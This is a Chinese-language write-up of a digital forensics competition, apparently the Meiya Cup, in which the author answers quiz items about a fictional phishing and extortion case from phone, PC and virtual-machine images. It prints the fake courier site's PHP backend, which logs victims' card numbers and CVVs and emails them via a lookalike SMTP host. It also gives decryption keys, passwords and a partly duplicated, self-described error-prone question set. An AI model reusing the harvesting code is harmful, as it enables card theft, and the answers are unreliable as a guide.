I. 案件详情
于2022年10月,有市民因接获伪冒快递公司的电邮,不慎地于匪徒架设的假网站提供了个人信用咭资料导致经济损失。 警方追查下发现当中一名受骗市民男子李大輝 (TaiFai) 的信用卡曾经被匪徒在区内的商舖购物。 后来警方根据IP地址,锁定及拘捕了一名男子林浚熙 (阿熙 ChunHei),并于他的居所发现了一批相信曾被用作犯案的电脑及手机装置。
经调查后,警方发现阿熙除上述案件外,他亦牵涉其他的一些犯罪活动。
警方的电子数据取证小组在现场作出初步了调查并对涉案装置进行了电子数据取证。请你根据得到的资料,协助将事件经过还原。
II. 警方资料
A) 与’林浚熙’相关的资料
编号 1 | 林浚熙的调查报告 | 林浚熙调查报告.pdf |
---|---|---|
编号 2 | 林浚熙的手机的电子数据 | ChunHei_iPhone.7z |
编号 3 | 林浚熙计算机的电子数据 | ChunHei_Desktop.E01 |
B) 与受害人’李大辉’相关的资料
编号 4 | 李大辉的调查报告 | 助查人士李大輝调查报告.pdf |
---|---|---|
编号 5 | 受害人李大辉的手机电子数据 | VTM_Mobile.zip |
C) 与女友’王晓琳’相关的资料
编号 6 | 王晓林的调查报告 | 助查人士王晓琳调查报告.pdf |
---|---|---|
编号 7 | 女友王晓林手机的电子数据 | HiuLam_iphone.7z |
A. 卿有何妙计
B. 宝玉已是三杯过去了
C. 武松那日早饭罢
D. 就除他做个强马温罢
分析见最后一题
A. 尖沙咀
B. 红硒
C. 康城
D. 青衣
E. 沙田
这题需要手工搓一下,取证工具似乎无法直接解析这个应用,将备份文件导入取证软件,取证软件就能解析一部分,让我们分析更为快捷。直接对包进行过滤,过滤名为mtr的应用程序。
这里有三个关键字,数据库、2022年10月11日 22:04、书签,然后找行程出发的起点和终点。
对Library下的所有文件进行检查,重点关注上述三个点,
这个MTRSignage.db库虽然时间相近,但是该文件夹下都是系统库
E_Tourist.db,时间相近,对其着重检查
发现存在书签、时间、行程的起点及终点站信息,重点关注
进入手机相册目录,只有该目录下是手机自己拍摄的而不是保存的
将这些文件导出,按时间排序,计数,共得90项
A. 大潭郊游径
B. 城门畔塘径
C. 大榄麦理浩径
D. 京士柏卫理径
对上述图片进行检查,发现有城门畔塘径的地名
A. LGH960C
B. LGH961N
C. LGH960H
D. LGH961C
E. LGH961D
A. 护肤品
B. 旅游
C. 运动
D. 学校
对浏览器搜索记录进行检查
弘联解析不出邮箱系统,美亚手机大师做补充
A. 以上皆非
B. https://bit.ly/3yeARcO
C. https://bit.ly/5vM12
D. http://bit.ly/Hell0
A. 以上皆非
A. 以上皆非
B. 65.54.185.39
C. 10.13.105.56
D. 58.152.110.218
查看邮件IP需查看邮件源文件,找到GMAIL软件,找到该封邮件,未找到原文件。
A. 2022 Nov!
B. 20221101
C. Nov2022!
D. P@sswOrd!
检查文档类文件,找到order.xlsx文件,导出,可以使用每个密码尝试对其进行解锁
图片中发现其解压密码
其中是三份订单
同时excel文件中还找到一张受害人李大辉的工作证
A. 美丽好化妆品公司
B. 步步高贸易公司
C. 盛大国际有限公司
D. 永恒化妆品公司
据前所述,在文档处发现工作证一张
A. 交通工具
B. 郊野公园
C. 游泳池
D. 酒店房间
对其手机相片进行检查,题目因为有所避讳,所以照片比较隐晦,最近删除中发现疑似偷拍照,
应用相册中发现疑似偷拍照片
应该是在酒店
最近删除 IMG_0444.JPG
对各个社交软件进行检查,在whatsapp文件传输记录,既然问的是传输的文件,先在文件传输记录处查找效率远比直接看聊天记录高,在该处找到该pdf文件
定位到原聊天记录,查看上下文,有助于我们厘清案情发展
查看文件头
这个PDF文件实质为xls文件
在刚才检查的过程中,发现很多信用卡信息通过whatsapp发给了自己,数据量不多,与表内数据进行碰撞
A. 以上皆非
B. 荃湾站
C. 沙田站
D. 国际金融中心二期
这题比赛时时间太有限,且加香港的应用与大陆十分不同,对各类应用名称等都不太熟悉,加上取证工具无法自动解析,需手动分析数据库。好在这类应用的数据库尚未加密,如再需编写解密脚本,这类题目可直接放弃。
对Chunhui手机中其他存在但未解析的应用进行检查(这里的检查就是不熟悉情况下的逐一检查),发现该Waze应用,有记录地点和时间功能
对其数据库进行检查,发现user.db中EVENTS_PLACES表又计划出行记录,转换其预计开始结束时间
先对所有相片筛选2022年9月1日或以后照片,发现并不多,导出这些图片为列表,进一步分析
见到几张眼熟的照片,鉴于ChunHui和HiuLam是前男女朋友,到HiuLam处同样筛2022-09-01后的照片
时间相同,基本确定,要想继续确认,根据上下题提示,需具体分析数据库,导出该数据库
我们将刚导出的这些照片和该数据库的ZADDITIONALASSETATTRIBUTES表可以看到以下一系列信息,
将二表碰撞
这个相册库还是比较大的,对初学者不友好,借助对应的查询语句集可以快速筛我们所需要的内容。但是实话实说手工梭这种数据库这才是真正的电子取证。
Local Photo Library Photos.sqlite Query Variations & WHERE statements – The Forensic Scooter
感觉不太对但是下面的题还是应该可以写的。
因为个人方向是服务器,所有这部分也有不太确定的。
A. ZRECEIVEMETHODIDENTIFIER
B. ZIMPORTEDFROMSOURCEIDENTIFIER
C. ZIMPORTEDBYBUNDLEIDENTIFIER
D. ZRECEIVEDFROMIDENTIFIER
A. 网页下载
B. 蓝牙传送
C. 以上皆非
D. WhatsApp软件传送
E. Signal软件传送
com.apple.sharingd,苹果自带的,猜测应该为airdrop类的工具,airdrop也是借助于蓝牙,但是传输数据应该是通过WiFi来传输的。若为WhatsApp等方式传输Imported by Bundle Identifier会有相应的标记。
如果题目是9月1号之后(不包括9月1号)的照片的话看起来就唯一了,IMG_0446.HEIC<-IMG_0730.HEIC
A. Windows 10 Pro for Workstations 21H2
B. Windows 10 Pro 22H2
C. Windows 10 Home 21H2
D. Windows 10 Pro for Workstations 21H1
桌面、各个盘的根目录、默认文件夹都是取证的关键
A. Internet Explorer
B. Microsoft Edge
C. Tor Browser
D. Opera
E. Google Chrome
A. https://gmail.com 3/1285
B. https://mail.google.com/mail 89/1285
C. https://web.whatsapp.com 133/1285
D. https://facebook.com 0/1285
A. javascript教学
B. php sql教学
C. tor教学
D. docker image教学
E. electrum教学
A. Users\HEINDesktop Signal
B. Users\HEI\AppData Roaming Signa
C. Program Files (x86)Signal
D. Users\user Roaming Signal
在聊天记录处跳转到源文件
见上题
取证工具看仅一人,有点意思了,取证工具取不全,手工搓,自己写脚本才是取证的真谛
仿真同样可见
解密数据库发现除了本人外还有4个联系人
解密方法如下
密钥储存在config.json中
将加密后的数据库导入DB Browser for SQLCipher
0x45cc1769003bb596166e0d5a01ad20bb056392cc690618764a5204da28476e1b
A.5b9650fe-3bb6-4182-9900-f56177003672
B.46a8762b-78ea-49aa-a6f5-b24975ec189f
C.9729bf92-ab9c-45f7-8147-66234296aele
D.47233ffe-1a73-4b3d-b97c-626246ec3129
共有两条
46a8762b-78ea-49aa-a6f5-b24975ec189f
9729bf92-ab9c-45f7-8147-66234296ae1e
A. 4
B. 1
C. 2
D. 3
A. User HEI Roaming Virtual Machinesl
B. Users Public Documents Virtual Machines
C. Program Files Virtual Machines
D.Users\HEINDocuments Virtual Machines
另在检查虚拟机的过程中在Documents目录下发现疑似虚拟机的账号密码
A. CentOs Linux 7.5.1804 (Core)
B. Ubuntu 22.04.1 LTS
C. CentOS Linux release 7.6.1810(Core)
D. Ubuntu 20.04.5 LTS
将整个虚拟机导出,作为一个独立的检材来继续分析,用取证软件先跑一遍,用仿真工具消除密码,仿真启动
A. nobody
B. root
C. admin
D. man
E. ftpuser
常规用户共有三个
root用户搭建的vsftpd服务,曾编辑过ftp用户,仿真进去查看配置文件
配置都是好的,直接连接即可,美亚杯时远程工具连接不上,应该是监考软件不允许ssh连接,解决方案是可以从另一台安装有远程工具的虚拟机向该虚拟机发起连接。
开始分析:
用户共有三个
历史记录中提到几个文件
root@useru20:/etc# cat /etc/ftpusers
# /etc/ftpusers: list of users disallowed FTP access. See ftpusers(5).
#root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
nobody
所以root是可以登录的
查看配置文件
root@useru20:/# cat /etc/vsftpd.conf
# Example config file /etc/vsftpd.conf
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
...
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
chroot_local_user=YES
chroot_list_enable=YES
# (default follows)
chroot_list_file=/etc/vsftpd.chroot_list
#
...
这里表示vsftpd.chroot_list中的用户又切换至其他目录的作用
root@useru20:/etc# cat /etc/vsftpd.chroot_list
root
ftpuser
这两个用户是不被限制访问范围的
尝试登录user用户,无法登录
尝试登录ftpuser用户,无法登录
一起来学linux:FTP服务器搭建 - 一张红枫叶 - 博客园 (cnblogs.com)
A. NGINX
B. LIGHTTPD
C. WORDPRESS
D. APACHE
E. IIS
A. /var/www/html/post/src
B. /var/www/html/post/css
C. /var/www/html/post/vendor
D. /var/www/post
题目选项就是提示,指引我们查找网站路径,假网站在前期研判中是重点,检查这整个网站并重构。
通过前面历史记录可以看到只要确保apache2和php起了,网站应该就可以起,
查看apache2的状态
访问一下网站
查看配置文件
综合分析,网站运行目录应该为/var/www/html/post,比较基础的一个apache站
访问、访问成功
可以继续做题了
A. Krick Global Logistics
B. Global Logistics
C. Krick Post Global Logistics
D. Krick Post
A. 邮件号码
B. 邮件收费号码
C. 邮件序号
D. 邮件参考号码
尝试输入信息
输入信息后会跳转到process.php,网站结构简单,包含的文件很少,也可以很简单的直接对每个文件逐一进行检查,查看process.php文件
if ( $_SERVER['REQUEST_METHOD']=='GET' && realpath(__FILE__) == realpath( $_SERVER['SCRIPT_FILENAME'] ) ) {
header( 'HTTP/1.0 403 Forbidden', TRUE, 403 );
die( header( 'location: /error.php' ) );
}
?>
<!DOCTYPE html>
<html>
<meta name="viewport" content="width=device=width, initial-scale=1.0, user-scalable=no">
<link rel="shortcut icon" type="image/x-icon">
<head>
<style>
* {
font-family: Palatino, Helvetica, sans-serif;
}
body { background: fixed center top;
margin:auto;
}
.center {
display: flex;
justify-content: center;
align-items: center;
margin: auto;
}
p {
font-size: 16px;
}
.mainDiv {
//height:600px;
//padding: 50px 0px 0px 0px;
margin: auto;
//width: 350px;
//box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}
img {
display: block;
margin-left: auto;
margin-right: auto;
}
/*Responsive layout - when the screen is less than 400px wide,
make the header text-align center
@media screen and (max-wdith: 400px) {
.header {
text-align: center;
padding: 0;
}
}
/* Responsive layout - when the screen is less than 400px wide,
make the navigation links stack on top of each other instead of next to each other */
@media screen and (max-width: 600px) {
.topnav a {
float: none;
width: 100%;
padding-top: 14px;
text-align: left;
}
}
</style>
<title>KP - Global Logistics Customer details</title>
</head>
<body>
<div class="mainDiv" style=" background-color: white;">
<img src="./css/KPlogo.png" alt="logo" width="160" height="160">
<h3 align="center">你的提交已經收到</h2>
<h3 align="center">本公司職員會以電郵聯絡你</h2>
<br><br><br>
<p align="center" style="color:grey;" >All rights reserved 2022</p>
<?php
$holdername = $_POST["holdername"];
$cardno = $_POST["cardno"];
$cvv = $_POST["cvv"];
$exp_mth = $_POST["exp_mth"];
$exp_yr = $_POST["exp_yr"];
$email = $_POST["email"];
$email_domn = $_POST["email_domn"];
//write result to customer.txt
date_default_timezone_set("Asia/Shanghai");
$dateTime = date("Y-m-d H:i:s");
$gDate = date("Y-m-d");
$gTime = date("H:i:s");
$browser = $_SERVER['HTTP_USER_AGENT'];
$fileLink = "here";
$resultFile = "vu.txt";
$fOpen = fopen($resultFile, "a");
fwrite($fOpen, "Date & Time: ".$dateTime."\n");
fwrite($fOpen, "Card Holder: ".$holdername."\n");
fwrite($fOpen, "Card no.: ".$cardno."\n");
fwrite($fOpen, "cvv: ".$cvv."\n");
fwrite($fOpen, "expire date: ".$exp_mth."/".$exp_yr."\n");
fwrite($fOpen, "Email: ".$email."@".$email_domn."\n");
fwrite($fOpen, "Browser Info: ".$browser."\n");
fwrite($fOpen, "\n"); //End of Entry
fclose($fOpen);
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
// the message
$message = "
Date / Time: ".$gDate." ".$gTime."
Card holder: ".$holdername."
Card No.: ".$cardno."
cvv: ".$cvv."
Expire Date: ".$exp_mth."/".$exp_yr."
Email: ".$email."@".$email_domn."
";
use PHPMailer\PHPMailer\SMTP;
require_once __DIR__ . '/vendor/phpmailer/src/Exception.php';
$mail = new PHPMailer(true);
$mail->isSMTP();
$mail->Host = 'smtp.gmai1.com';
$mail->SMTPAuth = true;
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->Port = 587;
$mail->Username = '[email protected]';
$mail->Password = 'rtatsceucpacocbdacs';
$mail->setFrom('[email protected]', 'Smith');
$mail->addAddress('[email protected]', 'Tyler');
$mail->IsHTML(true);
$mail->Subject = "vu";
$mail->Body = $message;
$mail->AltBody = ' ';
$mail->send();
?>
</body>
</html>
可以看到惠普段处理时会将前端输入的所有信息写入到vu.txt文件中
A. 改变函数
B. 产生档案
C. 发出邮件
D. 更新数据库
见上题,对process.php的源码进行检查后发现该文件除上体提到的生成文件vu.txt外并无将文件写入到数据库中的操作,
存在将$message通过[email protected]账户发送到[email protected]账户的行为
A. GPS位置
B. 信用卡号码
C. 短讯验证码
D. 电话号码
E. 电邮地址
可以直接看前台需要我们输入的信息
通过之前的学习,对于docker类题目应该可以一把梭
root@useru20:/var/www/html/post/src# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx latest 5d58c024174d 4 weeks ago 142MB
mysql latest 40b83de8fb1a 5 weeks ago 535MB
完整的id为5d58c024174dd06df1c4d41d8d44b485e3080422374971005270588204ca3b82
这里我觉得两个都行
只需启动docker中的mysql即可看到起端口映射情况
root@useru20:/var/www/html/post/src# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
dcb6a7577ab9 nginx "/docker-entrypoint.…" 4 weeks ago Exited (0) 11 seconds ago webserver
ca019376491b mysql:latest "docker-entrypoint.s…" 4 weeks ago Exited (0) 7 seconds ago mysql
root@useru20:/var/www/html/post/src# docker start ca
ca
root@useru20:/var/www/html/post/src# docker start dc
dc
root@useru20:/var/www/html/post/src# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
dcb6a7577ab9 nginx "/docker-entrypoint.…" 4 weeks ago Up 1 second 0.0.0.0:7777->80/tcp, :::7777->80/tcp webserver
ca019376491b mysql:latest "docker-entrypoint.s…" 4 weeks ago Up 4 seconds 33060/tcp, 0.0.0.0:43306->3306/tcp, :::43306->3306/tcp mysql
root@useru20:/var/www/html/post/src#
将本机的43306端口映射至了容器的3306 同时容器自身还开了一个33060 MySQL X Protocol的端口
docker部分熟悉的可以直接启动,不熟悉的也按照我们取证的标准作业步骤,先查看配置的历史记录,查看配置文件,查看启动命令,再进行启动,启动后进入容器,若仍无法登录,skip跳表绕过等方法,跳表后可取出加密后的登录密钥串,可进行爆破获取确切的登陆密码。
在前期检查的过程中,再历史记录中发现docker启动命令
docker run --name mysql -p 13306:3306 -e MYSQL_ROOT_PASSWORD=2wsx3edc -d mysql:latest
启动命令中已包含登陆密码,所以无需麻烦去通过其他途径获取密码了
尝试登录来验证密码是否正确
登录成功。密码正确,验证通过
现在各个应用程序都已经启动完毕了,可以直接尝试使用数据库工具连接数据库
对数据库进行检查,发现krickpost数据库的customer表中存在大量个人数据
根据前期的检查,在Chunhui手机wechat中曾给自己发送过李大辉的资料,结合该资料在数据库中进行搜索,找到李大辉的个人信息
A.传送儿童色情物品
B.抢劫
C.诈骗
D.勒索金钱
E.购买毒品
搭建诈骗网站、发送钓鱼邮件定性为诈骗
照片要挟为勒索
在signal上购买毒品,手机相册中有毒品照片,这方面感觉还没找完,很多应用都不能解析,手搓数据库好累
A. Signal
B. 微信(WeChat)
C. QQ
D. WhatsApp
E. LINE
做这个需小心,很多应用尚未支持解析,感谢弘连浙江的支持,我是主要用弘连套件的,美亚套件同样也无法解析大部分的应用,手工查看,除上面几个应用之外还有Signal
A.2022-09-30 17:39:53
B.2022-10-01 17:39:53
C.2022-09-30 18:30:28
D.2022-10-01 16:30:22
通过上面的检查分析,可以知道王晓琳曾向Chunhei求助过,现以王晓琳再查看whatsapp,可以看到王晓琳共发过两个pdf文档,
结合文件发送时间及下题的问题,可以确定该题所问的文档应为[文件]staff A team.pdf,发送时间2022-09-30 17:39:53
导出文档计算哈希
A.85297663607
B.85259308538
C.85269707307
D.85246427813
A. 寻求协助
B. 分享档案内容
C. 错误发出
D. 无法开启
结合语境分析
A. 客户
B. 师生
C. 家人
D. 同事
根据资料两人曾为男女朋友,但是这里没有问,结合前面聊天记录分析,应该为同事
A. 2022-10-06
B. 2022-09-28
C. 2022-09-30
D. 2022-10-03
A. 金钱
B. 毒品
C. 性服务
D. 加密货币
A. 三国演义
B. 红楼梦
C. 水浒传
D. 西游记
既然是电子书,那应该是iBooks这类软件,经检查也没有其他阅读器类的应用,取证工具无法解析出电子书籍,接下来简单介绍一下遇到手动查看其数据库
开始手搓
在检查中发现临时文件快照中正在阅读三国演义
在检查中发现最后注释(标记)的一段话为 卿有何妙计,且该段话正是上面临时文件快照最后保存部分内容之一
值Hash Value) 是什么?(以大写英文及阿拉伯数字回答)(1分) AE0D6735BBE45B0B8F1AB7838623D9C8
导出文档计算哈希
A.85297663607
B.85259308538
C.85269707307
D.85246427813
A. 寻求协助
B. 分享档案内容
C. 错误发出
D. 无法开启
结合语境分析
A. 客户
B. 师生
C. 家人
D. 同事
根据资料两人曾为男女朋友,但是这里没有问,结合前面聊天记录分析,应该为同事
A. 2022-10-06
B. 2022-09-28
C. 2022-09-30
D. 2022-10-03
A. 金钱
B. 毒品
C. 性服务
A. 三国演义
B. 红楼梦
C. 水浒传
D. 西游记
既然是电子书,那应该是iBooks这类软件,经检查也没有其他阅读器类的应用,取证工具无法解析出电子书籍,接下来简单介绍一下遇到手动查看其数据库
开始手搓
在检查中发现临时文件快照中正在阅读三国演义
在检查中发现最后注释(标记)的一段话为 卿有何妙计,且该段话正是上面临时文件快照最后保存部分内容之一
尚未检查到其他电子书,这种数据库里套blob里面存plist真是太难看了,需要再仔细找找相关工具的
记:
资格赛打完勉强上了学生榜单,个人方向是服务器,基础做的很少,比较依赖取证工具,最近赛后复盘的时候发现工具很多内容无法取出,还是得手工搓数据库,不是专业方向,做的很慢很难受,不知道有木有好方法欢迎私信。
比赛打了一天,结束了晚上去聚了个餐,转天睡过头了没听到下午的复盘,到现在也还没要到复盘视频,以上仅代表个人重做时的思路,仅供参考,复盘时肯定有各种nb神奇的解法。发出来仅作交流之用,希望不要贻笑于大方之家。
题目当时也忘了保存了,这一份是从网上不知道什么地方搞来的,很多地方拼写都有问题,选项顺序可能也不一样,看的时候仔细观察一下。因为感觉键盘不趁手所以经常有很多错别字,能看懂就行,等我发现了慢慢改。
最近有任务要把服务器全部完全起一遍,资格赛复盘做的比较快,很多还没梭出来,后面过几个星期会逐步完善,见谅。